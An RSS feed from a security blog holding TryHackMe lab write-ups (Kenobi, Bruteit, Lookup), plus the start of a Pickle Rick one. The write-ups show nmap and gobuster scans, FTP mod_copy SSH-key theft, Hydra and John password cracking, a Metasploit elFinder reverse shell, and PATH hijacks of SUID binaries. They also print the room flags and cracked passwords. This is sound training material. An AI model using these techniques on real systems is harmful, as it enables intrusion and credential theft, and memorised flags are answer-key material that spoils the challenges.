<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Security Notes from Ph03n1x]]></title><description><![CDATA[Security Notes from Ph03n1x]]></description><link>https://meenakshisl.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Tue, 03 Nov 2026 01:46:59 GMT</lastBuildDate><atom:link href="https://meenakshisl.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[TryHackMe Writeup: Kenobi]]></title><description><![CDATA[Room: Kenobi ( Starting with a full service scan: Scan the machine with nmap, how many ports are open? 7 The suggested smb-enum-shares script had…]]></description><link>https://meenakshisl.hashnode.dev/tryhackme-writeup-kenobi</link><guid isPermaLink="true">https://meenakshisl.hashnode.dev/tryhackme-writeup-kenobi</guid><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><dc:creator><![CDATA[Ph03n1x]]></dc:creator><pubDate>Fri, 30 Oct 2026 09:16:24 GMT</pubDate><content:encoded><![CDATA[<p><strong>Room:</strong> Kenobi (<a href="https://tryhackme.com/room/kenobi">https://tryhackme.com/room/kenobi</a>)</p>
<hr />
<h2>Enumeration</h2>
<h3>Nmap Scan</h3>
<p>Starting with a full service scan:</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/TryHackME]
└─$ nmap -sC -sV kenobi.thm                                                  
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-27 22:56 +0530
Stats: 0:00:06 elapsed; 1 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 28.57% done; ETC: 22:56 (0:00:15 remaining)
Nmap scan report for kenobi.thm (10.48.163.54)
Host is up (0.036s latency).
Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5a:8b:35:62:9e:1a:fb:ad:7f:00:25:5c:38:95:ec:2e (RSA)
|   256 93:7b:b9:00:0f:2a:91:8a:43:ca:23:e9:39:da:f0:4f (ECDSA)
|_  256 e8:49:7c:f1:e6:39:d2:9e:b9:a4:e6:e0:13:41:07:af (ED25519)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin.html
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      41465/tcp6  mountd
|   100005  1,2,3      45325/tcp   mountd
|   100005  1,2,3      45452/udp6  mountd
|   100005  1,2,3      46050/udp   mountd
|   100021  1,3,4      35002/udp   nlockmgr
|   100021  1,3,4      44293/tcp6  nlockmgr
|   100021  1,3,4      45565/tcp   nlockmgr
|   100021  1,3,4      49243/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
2049/tcp open  nfs         3-4 (RPC #100003)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: KENOBI, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)
| smb2-time: 
|   date: 2026-10-27T17:26:48
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds
</code></pre>
<blockquote>
<p><strong>Scan the machine with nmap, how many ports are open?</strong> <code>7</code></p>
</blockquote>
<h3>SMB Enumeration</h3>
<p>The suggested <code>smb-enum-shares</code> script had compatibility issues, so <code>smbclient</code> was used instead:</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/TryHackME/kenobi]
└─$ smbclient -L //10.48.163.54/ -N

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      
        IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.48.163.54 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
</code></pre>
<blockquote>
<p><strong>No of shares found : 3</strong></p>
</blockquote>
<p>Connecting to the <code>anonymous</code> share and downloading <code>log.txt</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/cf300af7-213c-4b1f-a15c-ef6e14843809.png" alt="" style="display:block;margin:0 auto" />

<blockquote>
<p><strong>File found:</strong> <code>log.txt</code></p>
</blockquote>
<p><code>log.txt</code> reveals that Kenobi generated an SSH key, and also tells us the FTP port in use.</p>
<blockquote>
<p><strong>Answer:</strong> Port <strong>21</strong></p>
</blockquote>
<h3>FTP : ProFTPD Version</h3>
<p>Checking the FTP version:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/158e77bf-6314-4272-bc66-17e39b6db1ca.png" alt="" style="display:block;margin:0 auto" />

<blockquote>
<p><strong>Answer:</strong> <strong>ProFTPD 1.3.5</strong></p>
</blockquote>
<h3>Searching for Exploits</h3>
<p>Searching for known exploits for ProFTPD 1.3.5:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/54b15487-78f8-4044-9ff2-5ffea1efebe4.png" alt="" style="display:block;margin:0 auto" />

<blockquote>
<p><strong>Answer:</strong> <strong>3 exploits</strong> found for ProFTPD 1.3.5</p>
</blockquote>
<h3>Summary of findings so far</h3>
<p>Three critical things were identified:</p>
<ol>
<li><strong>SMB</strong>: The <code>anonymous</code> share contains <code>log.txt</code>, which reveals that Kenobi generated an SSH key at <code>/home/kenobi/.ssh/id_rsa</code>.</li>
<li><strong>FTP</strong>: ProFTPD 1.3.5 is running which vulnerable to an unauthenticated file copy exploit via <code>mod_copy</code>.</li>
<li><strong>NFS</strong>: The server exports <code>/var</code>, which can be mounted from a local Kali machine.</li>
</ol>
<hr />
<h2>Exploitation : mod_copy</h2>
<p>The vulnerable ProFTPD module, <code>mod_copy</code>, implements two commands:</p>
<ul>
<li><code>SITE CPFR</code> : Copy From. Specifies the source file.</li>
<li><code>SITE CPTO</code> : Copy To. Specifies the destination file.</li>
</ul>
<p>The attack chain is as follows:</p>
<ul>
<li>Kenobi's private SSH key is at <code>/home/kenobi/.ssh/id_rsa</code>.</li>
<li>Direct FTP access to that path isn't possible.</li>
<li>But <code>mod_copy</code> allows unauthenticated file copying on the FTP server.</li>
<li>Copying the key into <code>/var/tmp</code> makes it accessible via the NFS export.</li>
</ul>
<h3>Mounting /var and Retrieving the Key</h3>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/2d57740e-06a4-4f39-b9df-1895db6c0ef8.png" alt="" style="display:block;margin:0 auto" />

<p>After mounting <code>/var</code> from the target, <code>id_rsa</code> is accessible under <code>/var/tmp</code>. Permissions are fixed with <code>chmod 600</code>, then SSH is used to log in:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/71f0f45f-522d-46bd-b4d7-7bdcf581bafe.png" alt="" style="display:block;margin:0 auto" />

<p>Successfully logged in as <code>kenobi</code>.</p>
<hr />
<h2>Privilege Escalation</h2>
<h3>Finding SUID Binaries</h3>
<pre><code class="language-bash">kenobi@kenobi:~$ find / -perm -u=s -type f 2&gt;/dev/null
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/openssh/ssh-keysign
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/su
</code></pre>
<blockquote>
<p><strong>Answer:</strong> <strong>/usr/bin/menu</strong> stands out : it's not a standard system binary.</p>
</blockquote>
<h3>Inspecting /usr/bin/menu</h3>
<p>Running the binary:</p>
<p>!image.png</p>
<blockquote>
<p><strong>Answer:</strong> <strong>3 options</strong> are presented by the menu binary.</p>
</blockquote>
<p>Running <code>strings</code> on the binary to see what it calls:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/0883f40a-c0b4-4243-9d57-1f3d719ce329.png" alt="" style="display:block;margin:0 auto" />

<p>The binary calls <code>ifconfig</code>, <code>uname</code>, and <code>curl</code> <strong>without absolute paths</strong>. This makes it vulnerable to a PATH hijack attack.</p>
<h3>PATH Hijack</h3>
<p>Since <code>menu</code> is an SUID binary (runs as root) and calls binaries using relative names, a fake <code>curl</code> binary can be planted earlier in the PATH:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/11a6e26d-97e7-4209-bb58-94b6777f839f.png" alt="" style="display:block;margin:0 auto" />

<p>The <code>sh</code> binary is copied to <code>/tmp/curl</code> and given <code>chmod 777</code> permissions. Then <code>/tmp</code> is prepended to <code>$PATH</code>. When <code>menu</code> runs and calls <code>curl</code>, it finds the fake <code>sh</code> binary first and since <code>menu</code> is SUID root, the shell spawns as root.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/48af641d-d72e-40e1-ae4f-b2726333e88b.png" alt="" style="display:block;margin:0 auto" />

<h3>Root Flag</h3>
<pre><code class="language-bash"># cd /root
# cat root.txt  
177b3cd8562289f37382721c28381f02
</code></pre>
<blockquote>
<p><strong>Answer:</strong> <code>177b3cd8562289f37382721c28381f02</code></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[TryHackeMe Writeup: Bruteit]]></title><description><![CDATA[Room url: Running a full port scan with service detection: Enumerating hidden directories: Hidden directory found: /admin]]></description><link>https://meenakshisl.hashnode.dev/tryhackeme-writeup-bruteit</link><guid isPermaLink="true">https://meenakshisl.hashnode.dev/tryhackeme-writeup-bruteit</guid><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><dc:creator><![CDATA[Ph03n1x]]></dc:creator><pubDate>Tue, 27 Oct 2026 06:42:44 GMT</pubDate><content:encoded><![CDATA[<p><strong>Room url</strong>: <a href="https://tryhackme.com/room/bruteit/">https://tryhackme.com/room/bruteit/</a></p>
<hr />
<h2>Recon</h2>
<h3>nmap</h3>
<p>Running a full port scan with service detection:</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/TryHackME]
└─$ nmap -sV 10.48.154.61 -p- 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-27 11:10 +0530
Nmap scan report for bruteit.thm (10.48.154.61)
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.33 seconds
</code></pre>
<ul>
<li><strong>Open ports:</strong> 2</li>
<li><strong>SSH version:</strong> OpenSSH 7.6p1</li>
<li><strong>Apache version:</strong> 2.4.29</li>
<li><strong>Linux distribution:</strong> Ubuntu</li>
</ul>
<hr />
<h3>gobuster</h3>
<p>Enumerating hidden directories:</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/TryHackME]
└─$ gobuster dir -u http://bruteit.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://bruteit.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              html,txt,bak,zip,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 10918]
admin                (Status: 301) [Size: 310] [--&gt; http://bruteit.thm/admin/]
</code></pre>
<p><strong>Hidden directory found:</strong> <code>/admin</code></p>
<hr />
<h2>Exploitation</h2>
<h3>Admin Panel</h3>
<p>The login form at <code>/admin/</code> sends a POST request like this:</p>
<pre><code class="language-bash">POST /admin/ HTTP/1.1
Host: bruteit.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://bruteit.thm
Connection: keep-alive
Referer: http://bruteit.thm/admin/
Cookie: PHPSESSID=5v9r8f1fkloooiftdl9picd2bf
Upgrade-Insecure-Requests: 1
Priority: u=0, i

user=admin&amp;pass=admin
</code></pre>
<p>Failure message: <code>Username or password invalid</code></p>
<p>Using Hydra to brute force the login with username <code>admin</code>:</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/TryHackME/LookUp]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt bruteit.thm http-post-form "/admin/:user=^USER^&amp;pass=^PASS^:Username or password invalid"
Hydra v9.7 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-10-27 11:20:39
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://bruteit.thm:80/admin/:user=^USER^&amp;pass=^PASS^:Username or password invalid
[80][http-post-form] host: bruteit.thm   login: admin   password: xavier
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-10-27 11:20:54
</code></pre>
<p><strong>Credentials found:</strong> <code>admin:xavier</code></p>
<p>Logging in also reveals the web flag: <code>THM{brut3_f0rce_is_e4sy}</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/ee29df47-816b-4a44-a727-aa78a0d9a8d2.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Cracking the RSA Key</h3>
<p>The admin panel also provides an RSA private key. Extracting the hash and cracking it with John the Ripper:</p>
<pre><code class="language-bash">ssh2john john_rsa &gt; john_key.hash 
</code></pre>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/TryHackME/bruteit]
└─$ john john_key.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockinroll       (john_rsa)     
1g 0:00:00:00 DONE (2026-10-27 11:31) 100.0g/s 7260Kp/s 7260Kc/s 7260KC/s saloni..rock14
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</code></pre>
<p><strong>RSA key passphrase:</strong> <code>rockinroll</code></p>
<p>Logging in via SSH:</p>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/TryHackME/bruteit]
└─$ ssh john@bruteit.thm -i john_rsa  
</code></pre>
<p>Running <code>cat user.txt</code> gives the user flag: <code>THM{a_password_is_not_a_barrier}</code></p>
<hr />
<h2>Privilege Escalation</h2>
<p>Checking sudo permissions:</p>
<pre><code class="language-bash">john@bruteit:~$ sudo -l
Matching Defaults entries for john on bruteit:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on bruteit:
    (root) NOPASSWD: /bin/cat
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/77b83a52-13e2-4973-9b1b-a7df3bf14c02.png" alt="" style="display:block;margin:0 auto" />

<p>Since <code>cat</code> can be run as root, the <code>/etc/shadow</code> file can be read. Unshadowing and cracking the root hash:</p>
<pre><code class="language-bash">└─$ sudo unshadow root_passwd root_shadow &gt; shadow.hash
</code></pre>
<pre><code class="language-bash">┌──(kali㉿kali)-[~/TryHackME/bruteit]
└─$ john shadow.hash --wordlist /usr/share/wordlists/rockyou.txt
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
football         (root)     
1g 0:00:00:00 DONE (2026-10-27 11:54) 8.333g/s 4266p/s 4266c/s 4266C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</code></pre>
<p><strong>Root password:</strong> <code>football</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/21cd9676-c466-4dd7-9441-6ac8543ed717.png" alt="" style="display:block;margin:0 auto" />

<p>Root flag: <code>THM{pr1v1l3g3_3sc4l4t10n}</code></p>
]]></content:encoded></item><item><title><![CDATA[TryHackeMe Writeup: Lookup]]></title><description><![CDATA[A web-based challenge covering username enumeration, credential brute-forcing, a known CVE in a file manager, and SUID binary abuse for privilege…]]></description><link>https://meenakshisl.hashnode.dev/tryhackeme-writeup-lookup</link><guid isPermaLink="true">https://meenakshisl.hashnode.dev/tryhackeme-writeup-lookup</guid><dc:creator><![CDATA[Ph03n1x]]></dc:creator><pubDate>Mon, 26 Oct 2026 18:49:23 GMT</pubDate><content:encoded><![CDATA[<p>A web-based challenge covering username enumeration, credential brute-forcing, a known CVE in a file manager, and SUID binary abuse for privilege escalation.</p>
<p><strong>Room url</strong>: <a href="https://tryhackme.com/room/lookup/">https://tryhackme.com/room/lookup/</a></p>
<h2>Recon</h2>
<p>Starting with an nmap scan. Only two ports are open:</p>
<pre><code class="language-bash">Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre>
<p>A gobuster scan on the web server doesn't reveal much beyond <code>index.php</code> and <code>login.php</code>:</p>
<pre><code class="language-bash">$ gobuster dir -u http://lookup.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak,zip
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://lookup.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              php,html,txt,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 719]
login.php            (Status: 200) [Size: 1]
Progress: 43876 / 1323354 (3.32%)
</code></pre>
<hr />
<h2>Enumeration</h2>
<p>The login page:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/38492c13-3d41-4574-9868-9f08aa683fe8.png" alt="" style="display:block;margin:0 auto" />

<p>The login form has a subtle but critical flaw : it returns <strong>different error messages</strong> depending on whether the username exists.</p>
<p>Entering <code>hahaha</code> / <code>hahaha</code> (invalid user):</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/7e2bc82f-34cc-4efe-a6b5-449576d92dad.png" alt="" style="display:block;margin:0 auto" />

<p>Entering <code>admin</code> / <code>pass</code> (valid user, wrong password):</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/d7206650-462e-45a3-ad6c-422f99a5eeb1.png" alt="" style="display:block;margin:0 auto" />

<p>Two distinct responses : the error message leaks whether a username is valid:</p>
<ul>
<li>Valid username, wrong password → <code>"Wrong password"</code></li>
<li>Wrong username (any password) → <code>"Wrong username or password"</code></li>
</ul>
<hr />
<h2>Exploitation</h2>
<h3>Username Enumeration</h3>
<p>Now that <code>admin</code> is confirmed valid, a hydra run with rockyou finds <code>admin : password123</code> ; but entering those creds still returns <code>"Wrong username or password"</code>. Suspicious.</p>
<p>The behaviour maps out as:</p>
<ul>
<li>Correct username, wrong password → <code>"Wrong password"</code></li>
<li>Wrong username, correct/wrong password → <code>"Wrong username or password"</code></li>
</ul>
<p>So the brute was matching on the wrong error string. Flipping the approach: keep a dummy password and fuzz the <strong>username</strong> instead using <code>ffuf</code>, filtering out the <code>"Wrong username or password"</code> response:</p>
<pre><code class="language-bash">$ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -u http://lookup.thm/login.php \
  -X POST \
  -d 'username=FUZZ&amp;password=wrongpassword' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -mc all \
  -fr 'Wrong username or password'

admin                   [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 118ms]
jose                    [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 83ms]
</code></pre>
<p>Two valid usernames: <strong>admin</strong> and <strong>jose</strong>.</p>
<h4>Credential Brute-Force</h4>
<p>Bruting <code>admin</code> runs indefinitely so it's likely a very complex password. Trying <code>jose</code> with hydra:</p>
<pre><code class="language-bash">$ hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&amp;password=^PASS^:Wrong"

[80][http-post-form] host: lookup.thm   login: jose   password: password123
1 of 1 target successfully completed, 1 valid password found
</code></pre>
<p><code>jose : password123</code> and this one actually works.</p>
<h4>Foothold via elFinder RCE</h4>
<p>Logging in redirects to <code>files.&lt;ip-address&gt;</code>. After adding it to <code>/etc/hosts</code>, the app redirects to:</p>
<pre><code class="language-plaintext">http://files.lookup.thm/elFinder/elfinder.html
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/125fa141-fead-4534-85ab-d3b7b5ea5736.png" alt="" style="display:block;margin:0 auto" />

<p>The elFinder version is confirmed as <strong>2.1.47</strong> from</p>
<p><a href="http://files.lookup.thm/elFinder/js/elfinder.min.js">http://files.lookup.thm/elFinder/js/elfinder.min.js</a></p>
<p>Searchsploit turns up two relevant exploits:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/839becf2-d334-4962-9c7c-b43cfa446b01.png" alt="" style="display:block;margin:0 auto" />

<p>Using the Metasploit reverse shell module with <code>RHOSTS</code> set:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/efb625e8-adaf-46fe-b50c-4c4d1527433b.png" alt="" style="display:block;margin:0 auto" />

<p>The session kept dying with:</p>
<pre><code class="language-bash">[*] 10.48.183.120 - Meterpreter session 8 closed.  Reason: Died
[+] Deleted uploaded file
[!] This exploit may require manual cleanup of '.2mhSqO.php' on the target
[*] Exploit completed, but no session was created.
</code></pre>
<p>After ~3 hours of debugging, two fixes:</p>
<ol>
<li><strong>Verify</strong> <code>LHOST</code> : Run <code>ip route get &lt;victim-machine-ip&gt;</code> to confirm which interface IP is used to reach the target. That is the correct <code>LHOST</code>.</li>
<li><strong>Switch the payload</strong> : Use <code>set payload php/reverse_php</code> (or browse <code>show payloads</code> and pick an alternative). This is what ultimately worked.</li>
</ol>
<p>Shell lands as <code>www-data</code>. A look at <code>/etc/passwd</code> shows three users with bash: <code>root</code>, <code>think</code>, and <code>ubuntu</code></p>
<h3>Lateral Movement : Abusing a Custom SUID Binary</h3>
<p>Browsing through the system we find a <code>user.txt</code> under <code>/home/think</code> but we dont have permissions to read it because we are <code>www-data</code></p>
<p>Searching for SUID binaries turns up something non-standard:</p>
<pre><code class="language-bash">find / -perm -u=s -type f 2&gt;/dev/null
...
/usr/sbin/pwm
</code></pre>
<p>Running it:</p>
<pre><code class="language-bash">pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
</code></pre>
<p>The binary calls <code>id</code>, parses the username from the output, and reads <code>/home/&lt;username&gt;/.passwords</code>. Since it calls <code>id</code> without an absolute path, this is a classic <strong>PATH hijacking</strong> vulnerability.</p>
<p>Creating a fake <code>id</code> binary in <code>/tmp</code> that impersonates <code>think</code>:</p>
<pre><code class="language-bash">cd /tmp
printf '#!/bin/bash\necho "uid=33(think) gid=33(think) groups=33(think)"\n' &gt; id
chmod +x id
export PATH=/tmp:$PATH
</code></pre>
<p>When <code>PATH</code> is prepended with <code>/tmp</code>, the system finds the fake <code>id</code> there first before checking the real binary. Running <code>pwm</code> again now dumps the contents of <code>/home/think/.passwords</code>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/6a584d80-006c-4a5d-9941-5a7582576f15.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/a56374ec-333c-4ae5-93bb-7ccd012eb8dd.png" alt="" style="display:block;margin:0 auto" />

<p>Using that as the password list for SSH:</p>
<pre><code class="language-bash">$ hydra -l think -P jose_passwords.txt lookup.thm ssh

[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)
1 of 1 target successfully completed, 1 valid password found
</code></pre>
<p>SSH in and grab the <strong>user flag</strong>:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/b685f623-999d-4456-ac14-3465d78eab72.png" alt="" style="display:block;margin:0 auto" />

<h3>Root Flag</h3>
<p>As <code>think</code>, checking sudo permissions:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/72723df0-1554-4849-8632-ec267889c95b.png" alt="" style="display:block;margin:0 auto" />

<p><code>look</code> is a file-reading utility; with sudo, it can read any file on the system.(gtfobins)</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/87c101a2-d022-45cc-84fa-e4e563a57943.png" alt="" style="display:block;margin:0 auto" />

<p>Using it directly against the root flag:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/ce1966b1-f1f9-4783-8b74-5d6afb9673a8.png" alt="" style="display:block;margin:0 auto" />

<p>Root flag captured ; no full shell escalation required.</p>
<hr />
<h3>Key Takeaways</h3>
<ul>
<li><strong>Differing error messages</strong> on login forms leak valid usernames are always worth probing both a known-bad username and a suspected valid one to compare responses.</li>
<li><strong>PATH hijacking</strong> is highly effective when a SUID binary calls system commands by name rather than absolute path ; placing a fake binary earlier in <code>$PATH</code> redirects execution entirely.</li>
<li>The <code>look</code> utility with sudo rights is a straightforward file-read primitive always cross-reference sudo-allowed binaries against GTFOBins.</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[TryHackMe Writeup: Pickle Rick]]></title><description><![CDATA[Writeup for pickle rick room]]></description><link>https://meenakshisl.hashnode.dev/tryhackme-writeup-pickle-rick</link><guid isPermaLink="true">https://meenakshisl.hashnode.dev/tryhackme-writeup-pickle-rick</guid><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Ph03n1x]]></dc:creator><pubDate>Fri, 23 Oct 2026 09:55:43 GMT</pubDate><content:encoded><![CDATA[<p><strong>Room:</strong> <a href="https://tryhackme.com/room/picklerick">https://tryhackme.com/room/picklerick</a></p>
<p><strong>Objective:</strong> Find three secret ingredients hidden on the machine.</p>
<hr />
<h2>Scanning</h2>
<p>Started with an nmap scan to enumerate open services on the target.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/87958a21-e0b2-4604-a8e3-a5a99d6ccc90.png" alt="" style="display:block;margin:0 auto" />

<h2>Enumeration</h2>
